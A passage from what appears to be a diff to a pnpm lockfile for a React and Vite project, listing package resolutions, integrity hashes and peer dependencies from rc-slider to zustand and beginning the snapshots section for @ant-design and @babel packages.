sha512-NOV5BZa1wZrsdkKaiK7LHRuo5ZjZYMDxPP6/1+09+FB4KoNi8jcG1ZqLE3AVCxEsYMBe65OBx71wFoHRTP3LRg==} + engines: {node: '>=8.x'} + peerDependencies: + react: '*' + react-dom: '*' + + rc-slider@11.1.8: + resolution: {integrity: sha512-2gg/72YFSpKP+Ja5AjC5DPL1YnV8DEITDQrcc1eASrUYjl0esptaBVJBh5nLTXCCp15eD8EuGjwezVGSHhs9tQ==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-steps@6.0.1: + resolution: {integrity: sha512-lKHL+Sny0SeHkQKKDJlAjV5oZ8DwCdS2hFhAkIjuQt1/pB81M0cA0ErVFdHq9+jmPmFw1vJB2F5NBzFXLJxV+g==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-switch@4.1.0: + resolution: {integrity: sha512-TI8ufP2Az9oEbvyCeVE4+90PDSljGyuwix3fV58p7HV2o4wBnVToEyomJRVyTaZeqNPAp+vqeo4Wnj5u0ZZQBg==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-table@7.51.1: + resolution: {integrity: sha512-5iq15mTHhvC42TlBLRCoCBLoCmGlbRZAlyF21FonFnS/DIC8DeRqnmdyVREwt2CFbPceM0zSNdEeVfiGaqYsKw==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-tabs@15.7.0: + resolution: {integrity: sha512-ZepiE+6fmozYdWf/9gVp7k56PKHB1YYoDsKeQA1CBlJ/POIhjkcYiv0AGP0w2Jhzftd3AVvZP/K+V+Lpi2ankA==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-textarea@1.10.2: + resolution: {integrity: sha512-HfaeXiaSlpiSp0I/pvWpecFEHpVysZ9tpDLNkxQbMvMz6gsr7aVZ7FpWP9kt4t7DB+jJXesYS0us1uPZnlRnwQ==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-tooltip@6.4.0: + resolution: {integrity: sha512-kqyivim5cp8I5RkHmpsp1Nn/Wk+1oeloMv9c7LXNgDxUpGm+RbXJGL+OPvDlcRnx9DBeOe4wyOIl4OKUERyH1g==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-tree-select@5.27.0: + resolution: {integrity: sha512-2qTBTzwIT7LRI1o7zLyrCzmo5tQanmyGbSaGTIf7sYimCklAToVVfpMC6OAldSKolcnjorBYPNSKQqJmN3TCww==} + peerDependencies: + react: '*' + react-dom: '*' + + rc-tree@5.13.1: + resolution: {integrity: sha512-FNhIefhftobCdUJshO7M8uZTA9F4OPGVXqGfZkkD/5soDeOhwO06T/aKTrg0WD8gRg/pyfq+ql3aMymLHCTC4A==} + engines: {node: '>=10.x'} + peerDependencies: + react: '*' + react-dom: '*' + + rc-upload@4.9.2: + resolution: {integrity: sha512-nHx+9rbd1FKMiMRYsqQ3NkXUv7COHPBo3X1Obwq9SWS6/diF/A0aJ5OHubvwUAIDs+4RMleljV0pcrNUc823GQ==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-util@5.44.4: + resolution: {integrity: sha512-resueRJzmHG9Q6rI/DfK6Kdv9/Lfls05vzMs1Sk3M2P+3cJa+MakaZyWY8IPfehVuhPJFKrIY1IK4GqbiaiY5w==} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + rc-virtual-list@3.19.1: + resolution: {integrity: sha512-DCapO2oyPqmooGhxBuXHM4lFuX+sshQwWqqkuyFA+4rShLe//+GEPVwiDgO+jKtKHtbeYwZoNvetwfHdOf+iUQ==} + engines: {node: '>=8.x'} + peerDependencies: + react: '>=16.9.0' + react-dom: '>=16.9.0' + + react-dom@18.3.1: + resolution: {integrity: sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==} + peerDependencies: + react: ^18.3.1 + + react-fast-compare@3.2.2: + resolution: {integrity: sha512-nsO+KSNgo1SbJqJEYRE9ERzo7YtYbou/OqjSQKxV7jcKox7+usiUVZOAC+XnDOABXggQTno0Y1CpVnuWEc1boQ==} + + react-is@16.13.1: + resolution: {integrity: sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==} + + react-is@18.3.1: + resolution: {integrity: sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==} + + react-refresh@0.17.0: + resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + engines: {node: '>=0.10.0'} + + react-router-dom@6.30.1: + resolution: {integrity: sha512-llKsgOkZdbPU1Eg3zK8lCn+sjD9wMRZZPuzmdWWX5SUs8OFkN5HnFVC0u5KMeMaC9aoancFI/KoLuKPqN+hxHw==} + engines: {node: '>=14.0.0'} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + + react-router@6.30.1: + resolution: {integrity: sha512-X1m21aEmxGXqENEPG3T6u0Th7g0aS4ZmoNynhbs+Cn+q+QGTLt+d5IQ2bHAXKzKcxGJjxACpVbnYQSCRcfxHlQ==} + engines: {node: '>=14.0.0'} + peerDependencies: + react: '>=16.8' + + react-window@1.8.11: + resolution: {integrity: sha512-+SRbUVT2scadgFSWx+R1P754xHPEqvcfSfVX10QYg6POOz+WNgkN48pS+BtZNIMGiL1HYrSEiCkwsMS15QogEQ==} + engines: {node: '>8.0.0'} + peerDependencies: + react: ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + react@18.3.1: + resolution: {integrity: sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==} + engines: {node: '>=0.10.0'} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + reflect.getprototypeof@1.0.10: + resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} + engines: {node: '>= 0.4'} + + regexp.prototype.flags@1.5.4: + resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==} + engines: {node: '>= 0.4'} + + resize-observer-polyfill@1.5.1: + resolution: {integrity: sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + resolve@2.0.0-next.5: + resolution: {integrity: sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==} + hasBin: true + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rimraf@3.0.2: + resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} + deprecated: Rimraf versions prior to v4 are no longer supported + hasBin: true + + rollup@4.46.2: + resolution: {integrity: sha512-WMmLFI+Boh6xbop+OAGo9cQ3OgX9MIg7xOQjn+pTCwOkk+FNDAeAemXkJ3HzDJrVXleLOFVa1ipuc1AmEx1Dwg==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + runes2@1.1.4: + resolution: {integrity: sha512-LNPnEDPOOU4ehF71m5JoQyzT2yxwD6ZreFJ7MxZUAoMKNMY1XrAo60H1CUoX5ncSm0rIuKlqn9JZNRrRkNou2g==} + + safe-array-concat@1.1.3: + resolution: {integrity: sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==} + engines: {node: '>=0.4'} + + safe-push-apply@1.0.0: + resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==} + engines: {node: '>= 0.4'} + + safe-regex-test@1.1.0: + resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} + engines: {node: '>= 0.4'} + + sass@1.90.0: + resolution: {integrity: sha512-9GUyuksjw70uNpb1MTYWsH9MQHOHY6kwfnkafC24+7aOMZn9+rVMBxRbLvw756mrBFbIsFg6Xw9IkR2Fnn3k+Q==} + engines: {node: '>=14.0.0'} + hasBin: true + + scheduler@0.23.2: + resolution: {integrity: sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==} + + screenfull@5.2.0: + resolution: {integrity: sha512-9BakfsO2aUQN2K9Fdbj87RJIEZ82Q9IGim7FqM5OsebfoFC6ZHXgDq/KvniuLTPdeM8wY2o6Dj3WQ7KeQCj3cA==} + engines: {node: '>=0.10.0'} + + scroll-into-view-if-needed@3.1.0: + resolution: {integrity: sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + semver@7.7.2: + resolution: {integrity: sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==} + engines: {node: '>=10'} + hasBin: true + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + set-function-name@2.0.2: + resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==} + engines: {node: '>= 0.4'} + + set-proto@1.0.0: + resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==} + engines: {node: '>= 0.4'} + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + side-channel-list@1.0.0: + resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.0: + resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + engines: {node: '>= 0.4'} + + size-sensor@1.0.2: + resolution: {integrity: sha512-2NCmWxY7A9pYKGXNBfteo4hy14gWu47rg5692peVMst6lQLPKrVjhY+UTEsPI5ceFRJSl3gVgMYaUi/hKuaiKw==} + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + staged-components@1.1.3: + resolution: {integrity: sha512-9EIswzDqjwlEu+ymkV09TTlJfzSbKgEnNteUnZSTxkpMgr5Wx2CzzA9WcMFWBNCldqVPsHVnRGGrApduq2Se5A==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + + stop-iteration-iterator@1.1.0: + resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==} + engines: {node: '>= 0.4'} + + string-convert@0.2.1: + resolution: {integrity: sha512-u/1tdPl4yQnPBjnVrmdLo9gtuLvELKsAoRapekWggdiQNvvvum+jYF329d84NAa660KQw7pB2n36KrIKVoXa3A==} + + string.prototype.matchall@4.0.12: + resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==} + engines: {node: '>= 0.4'} + + string.prototype.repeat@1.0.0: + resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==} + + string.prototype.trim@1.2.10: + resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==} + engines: {node: '>= 0.4'} + + string.prototype.trimend@1.0.9: + resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==} + engines: {node: '>= 0.4'} + + string.prototype.trimstart@1.0.8: + resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==} + engines: {node: '>= 0.4'} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + stylis@4.3.6: + resolution: {integrity: sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ==} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + synckit@0.11.11: + resolution: {integrity: sha512-MeQTA1r0litLUf0Rp/iisCaL8761lKAZHaimlbGK4j0HysC4PLfqygQj9srcs0m2RdtDYnF8UuYyKpbjHYp7Jw==} + engines: {node: ^14.18.0 || >=16.0.0} + + text-table@0.2.0: + resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==} + + throttle-debounce@5.0.2: + resolution: {integrity: sha512-B71/4oyj61iNH0KeCamLuE2rmKuTO5byTOSVwECM5FA7TiAiAW+UqTKZ9ERueC4qvgSttUhdmq1mXC3kJqGX7A==} + engines: {node: '>=12.22'} + + tinyglobby@0.2.14: + resolution: {integrity: sha512-tX5e7OM1HnYr2+a2C/4V0htOcSQcoSTH9KgJnVvNm5zm/cyEWKJ7j7YutsH9CxMdtOkkLFy2AHrMci9IM8IPZQ==} + engines: {node: '>=12.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + toggle-selection@1.0.6: + resolution: {integrity: sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==} + + ts-api-utils@1.4.3: + resolution: {integrity: sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==} + engines: {node: '>=16'} + peerDependencies: + typescript: '>=4.2.0' + + tslib@2.3.0: + resolution: {integrity: sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==} + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + type-fest@0.20.2: + resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==} + engines: {node: '>=10'} + + typed-array-buffer@1.0.3: + resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} + engines: {node: '>= 0.4'} + + typed-array-byte-length@1.0.3: + resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==} + engines: {node: '>= 0.4'} + + typed-array-byte-offset@1.0.4: + resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==} + engines: {node: '>= 0.4'} + + typed-array-length@1.0.7: + resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==} + engines: {node: '>= 0.4'} + + typescript@5.9.2: + resolution: {integrity: sha512-CWBzXQrc/qOkhidw1OzBTQuYRbfyxDXJMVJ1XNwUHGROVmuaeiEm3OslpZ1RV96d7SKKjZKrSJu3+t/xlw3R9A==} + engines: {node: '>=14.17'} + hasBin: true + + unbox-primitive@1.1.0: + resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} + engines: {node: '>= 0.4'} + + undici-types@7.10.0: + resolution: {integrity: sha512-t5Fy/nfn+14LuOc2KNYg75vZqClpAiqscVvMygNnlsHBFpSXdJaYtXMcdNLpl/Qvc3P2cB3s6lOV51nqsFq4ag==} + + update-browserslist-db@1.1.3: + resolution: {integrity: sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + use-sync-external-store@1.5.0: + resolution: {integrity: sha512-Rb46I4cGGVBmjamjphe8L/UnvJD+uPPtTkNvX5mZgqdbavhI4EbgIWJiIHXJ8bc/i9EQGPRh4DwEURJ552Do0A==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + vconsole@3.15.1: + resolution: {integrity: sha512-KH8XLdrq9T5YHJO/ixrjivHfmF2PC2CdVoK6RWZB4yftMykYIaXY1mxZYAic70vADM54kpMQF+dYmvl5NRNy1g==} + + vite@7.1.2: + resolution: {integrity: sha512-J0SQBPlQiEXAF7tajiH+rUooJPo0l8KQgyg4/aMunNtrOa7bwuZJsJbDWzeljqQpgftxuq5yNJxQ91O9ts29UQ==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + peerDependencies: + '@types/node': ^20.19.0 || >=22.12.0 + jiti: '>=1.21.0' + less: ^4.0.0 + lightningcss: ^1.21.0 + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + which-boxed-primitive@1.1.1: + resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} + engines: {node: '>= 0.4'} + + which-builtin-type@1.2.1: + resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==} + engines: {node: '>= 0.4'} + + which-collection@1.0.2: + resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} + engines: {node: '>= 0.4'} + + which-typed-array@1.1.19: + resolution: {integrity: sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==} + engines: {node: '>= 0.4'} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + + xmldom@0.6.0: + resolution: {integrity: sha512-iAcin401y58LckRZ0TkI4k0VSM1Qg0KGSc3i8rU+xrxe19A/BN1zHyVSJY7uoutVlaTSzYyk/v5AmkewAP7jtg==} + engines: {node: '>=10.0.0'} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + zrender@5.6.1: + resolution: {integrity: sha512-OFXkDJKcrlx5su2XbzJvj/34Q3m6PvyCZkVPHGYpcCJ52ek4U/ymZyfuV1nKE23AyBJ51E/6Yr0mhZ7xGTO4ag==} + + zustand@5.0.7: + resolution: {integrity: sha512-Ot6uqHDW/O2VdYsKLLU8GQu8sCOM1LcoE8RwvLv9uuRT9s6SOHCKs0ZEOhxg+I1Ld+A1Q5lwx+UlKXXUoCZITg==} + engines: {node: '>=12.20.0'} + peerDependencies: + '@types/react': '>=18.0.0' + immer: '>=9.0.6' + react: '>=18.0.0' + use-sync-external-store: '>=1.2.0' + peerDependenciesMeta: + '@types/react': + optional: true + immer: + optional: true + react: + optional: true + use-sync-external-store: + optional: true + +snapshots: + + '@ampproject/remapping@2.3.0': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.30 + + '@ant-design/colors@7.2.1': + dependencies: + '@ant-design/fast-color': 2.0.6 + + '@ant-design/cssinjs-utils@1.1.3(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@ant-design/cssinjs': 1.24.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + '@babel/runtime': 7.28.2 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@ant-design/cssinjs@1.24.0(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + '@emotion/hash': 0.8.0 + '@emotion/unitless': 0.7.5 + classnames: 2.5.1 + csstype: 3.1.3 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + stylis: 4.3.6 + + '@ant-design/fast-color@2.0.6': + dependencies: + '@babel/runtime': 7.28.2 + + '@ant-design/icons-svg@4.4.2': {} + + '@ant-design/icons@5.6.1(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@ant-design/colors': 7.2.1 + '@ant-design/icons-svg': 4.4.2 + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + rc-util: 5.44.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1) + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@ant-design/react-slick@1.1.2(react@18.3.1)': + dependencies: + '@babel/runtime': 7.28.2 + classnames: 2.5.1 + json2mq: 0.2.0 + react: 18.3.1 + resize-observer-polyfill: 1.5.1 + throttle-debounce: 5.0.2 + + '@babel/code-frame@7.27.1': + dependencies: + '@babel/helper-validator-identifier': 7.27.1 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.28.0': {} + + '@babel/core@7.28.0': + dependencies: + '@ampproject/remapping': 2.3.0 + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helpers': 7.28.2 + '@babel/parser': 7.28.0 + '@babel/template': 7.27.2 + '@babel/traverse': 7.28.0 + '@babel/types': 